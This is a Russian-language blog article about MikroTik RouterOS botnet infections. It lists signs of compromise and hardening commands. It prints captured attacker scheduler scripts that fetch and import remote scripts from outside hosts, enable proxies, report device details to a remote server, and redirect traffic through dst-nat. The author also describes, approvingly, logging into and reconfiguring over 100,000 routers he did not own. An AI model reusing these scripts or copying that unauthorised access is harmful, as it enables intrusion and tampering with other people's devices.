Хабрахабр

Для чего хакерам Микротик и как я спрятал 100 тыс. RouterOS от ботнета

RouterOS очень мощный инструмент в руках профессионалов и ответственных специалистов. Но в руках новичков или тех, кто делает всё на «и так сойдёт» Mikrotik начинает жить своей жизнью и превращается в ноду ботнета.

Ещё в мае 2018 я писал статью с рекомендациями как защитить свой Микротик.

Как ни странно, но в сети до сих пор тысячи «открытых» роутеров Mikrotik и армия ботнета пополняется.

В комментариях писал информацию об уязвимости и оставлял адрес телеграм-канала @router_os, где можно было мне задать интересующие вопросы (у нормального админа они должны были появиться). Я в свободное от работы и отдыха время искал уязвимые устройства по всей сети и делал настройки в соответствии со своими рекомендациями, то есть добавлял правила фаервола, которые закрывали доступ к роутеру не из локальной сети.

С мая по сегодняшний день я «вырвал» из лап ботнета более 100 тысяч устройств Mikrotik.

Но моя статья основана лично на моём опыте. Учитывая то, что я не могу выступить на MUM 2018 в Москве, то свой доклад я решил опубликовать на habr.com
В сети много аналитики как именно используются RouterOS хакерами (например здесь).

Админы и их реакция

По всему миру админы маршрутизаторов рано или поздно обнаруживали у себя такую пасхалку.

/system note

Please update RouterOS. /system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. My Telegram http://t.me/router_os

You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1.

Большинство тихо закрывало дыру. Кто-то не поленились мне написать «спасибо». Но были и те, кто громко негодовал не разобравшись.

Нормальный специалист должен адекватно реагировать когда ему указывают на его ошибку.

За всё время мне написало не более 50 человек…

Поэтому я стал дорабатывать свой скрипт, который по мимо правил фаервола будет удалять известные мне backdoors, которые оставили злоумышленники. Так как реакция пользователей была минимальна, то я пришёл к выводу, что подавляющее большинство даже и не заметит, что что-то на роутере не так.

Но другого подхода для выполнения данной задачи я не придумал ещё. Логично, что мой метод устраивает не всех.

Хакеры любят RouterOS

В подавляющем большинстве случаев я попадал на устройство, которое уже кем-то заражено. Я, к сожалению, не сразу стал анализировать их содержимое. Вот что я нашёл и что будет верным признаком, что ваш роутер скомпрометирован.

Web-прокси и Socks

Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их.

/ip proxy set enabled=no
/ip socks set enabled=no

Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время:

/system script

/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"

Вы можете обнаружить у себя файл webproxy/error.html который прокси вам подсовывает, а он в свою очередь вызывает майнер.

Лишние параметры появляются и здесь:

/ip proxy access print
/ip socks access print

Script может всё

В 90% дырявых Микротиков имеются скрипты /system script и для них настроено расписание выполнения /system scheduler.

По расписанию скачивается скрипт, которой в дальнейшем выполняется.

Установка майнера

154. /system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95. 163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"

216.

Ещё один вариант скрипта, который после применения пытается частично спрятаться.

12. /system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10. 26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91. 0. 24. 134. 238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"

Так же загляните в Environment

Так быть не должно

Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку.

На чистом RouterOS эти места пустые. Поэтому проверяйте эти места тщательно.

DST-NAT

К моему большому удивлению, но много таких устройств, на которых завёрнут трафик через /ip firewall nat.

Спам в dst-nat


/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444

Хороший способ скрыть свой реальный ip.

VPN

Как же без него. RouterOS умеет подымать различные виды vpn, но хакеры чаще всего используют pptp и L2TP.

Поэтому проверьте раздел /ppp secret

В противном случае стоит очистить:
/radius remove numbers=[/radius find ]
И запретить использовать Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Отключаем использование Radius для авторизации на устройстве
/user aaa set use-radius=no Даже если этот раздел пуст, то ушлые хакеры могут авторизоваться и через Radius.
Проверяем наличие записей /radius print
Если вы ничего не настраивали, то там должно быть пусто.

Если вы не используйте vpn, то отключите его
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no

DNS static

Без фишига так же не обошлось. На роутерах в /ip dns static можно обнаружить и такое

Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника.

Удаляем содержимое

/ip dns static remove numbers=[/ip dns static find]

Урезание прав админа

Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt)

содержимое /user

[router@MikroTik] > /user print
Flags: X — disabled
# NAME GROUP ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41

[router@MikroTik] > /user group print
0 name=«read» policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default

1 name=«write» policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default

2 name=«full» policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default

3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default

Будет время/настроение и разблокирую все найденные такие роутеры. Я нашёл способ разблокировки таких устройств и возврат админу их права, но пока не реализовал в скрипте.

Если у вас такое есть, то напишите мне — помогу индивидуально.

Packet Sniffer

Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел.

Выключить его можно так:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no

Проблема продукции Mikrotik

Абсолютно защищённых систем не существует. А массовое распространение продукции Mikrotik так же повлекло массовое изучение этих устройств.
Так как функционал RouterOS позволяет выполнять огромное количество задач он интересен и хакерам в том числе.

Не смотря на это компания Микротик оперативно выпускает заплатки для своих систем. Из-за того, что продукт очень динамично развивается, то и скорость появления новых «дыр» тоже велико.

Выход

На сегодняшний день единственным верным решением для защиты RouterOS — это корректно настроенный фаервол, который работает по принципу «запрещено всё, что явно не разрешено».
А всё потому, что Микротик использует классический фаервол Linux, который годами оттачивался армией специалистов.

Принцип «fail2ban» себя не всегда оправдывает, так как всё равно обнаруживает устройство. Если требуется доступ к устройству из глобальной сети, то используйте принцип "port knocking".

Глобальные решения

Режим ламера

В виду того, что устройства очень дешёвые, то их покупают пользователи, которые не имеют специальных знаний. Компании Mikrotik необходимо разработать интерфейс «ламера», который имеет минимальное количество настроек как и большинство SOHO роутеров. Причём он должен быть по умолчанию. А расширенный режим пользователь должен включить осознано сам. Текущий «Quick set» не достаточно хорош. Более того из-за изобилия кнопок юзер может и не заметить эту функцию.

Bug analyzer

Так же необходим модуль, который проводит анализ текущей конфигурации на возможные уязвимости и уведомляет пользователя, если считает, что роутер может быть скомпрометирован. Этот модуль должен подгружать «базу знаний», которую наполняют сотрудники Mikrotik на основании распространённых ошибок. А в случае серьёзных уязвимостей включать «аварийный» режим.
Если я смог систематизировать часть угроз, то разработчики и подавно…

FireWall — как услуга провайдеров

Рынок «умных» устройств очень бурно развиваются и они далеко не все хорошо защищены. Большинство людей, которые их приобретают, так же не владеют специальными знаниями, чтобы самостоятельно защитить свои гаджеты.

Банально пользователь в личном кабинете указывает какие порты открыть из интернета.
Так же провайдеры могут создать централизованную базу по существующим устройствам и их нормальным потребностям. Поэтому интернет провайдерам пора создать коммерческую услугу по защите таких гаджетов. В случае нестандартного поведения такого устройства — уведомлять пользователя.
Я считаю, что рынок уже созрел для такой услуги. Пользователь указывает в ЛК какие устройства у него используются.

В этой услуге есть следующие плюсы:

  1. Для провайдера ещё одна статья дохода
  2. Сокращение паразитного трафика
  3. Сокращаем рекрутинг устройств в ботнет
  4. Популяризация развивающихся услуг «умный дом»
  5. Пользователи могут дальше не заморачиваться своей безопасностью.

Немного о себе

Попытаюсь ответить на вопросы, которые наверняка мне зададут.

  1. Я работаю на должности не связанной с Mikrotik и сетями в общем.
  2. Тем не менее у меня есть сертификат MTCNA.
  3. Микротик — моё хобби. Всё, что я делаю — мне просто нравится. Так сказать «по фану».
  4. Почему не устроился на работу по профилю? Те кто в нашем городе покупает mikrotik много платить ЗП не могут. Те, кто может мне платить достойную ЗП — покупают cisco.
  5. В комментах в фаерволе я указывал свои кошельки, но с мая мне закинули всего около $40. В телеграм писали из разных стран, мол у них нет wmz, но всё равно «спасибо».

P.S.:

Поделитесь вашим опытом как ещё хакеры могут использовать Mikrotik.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть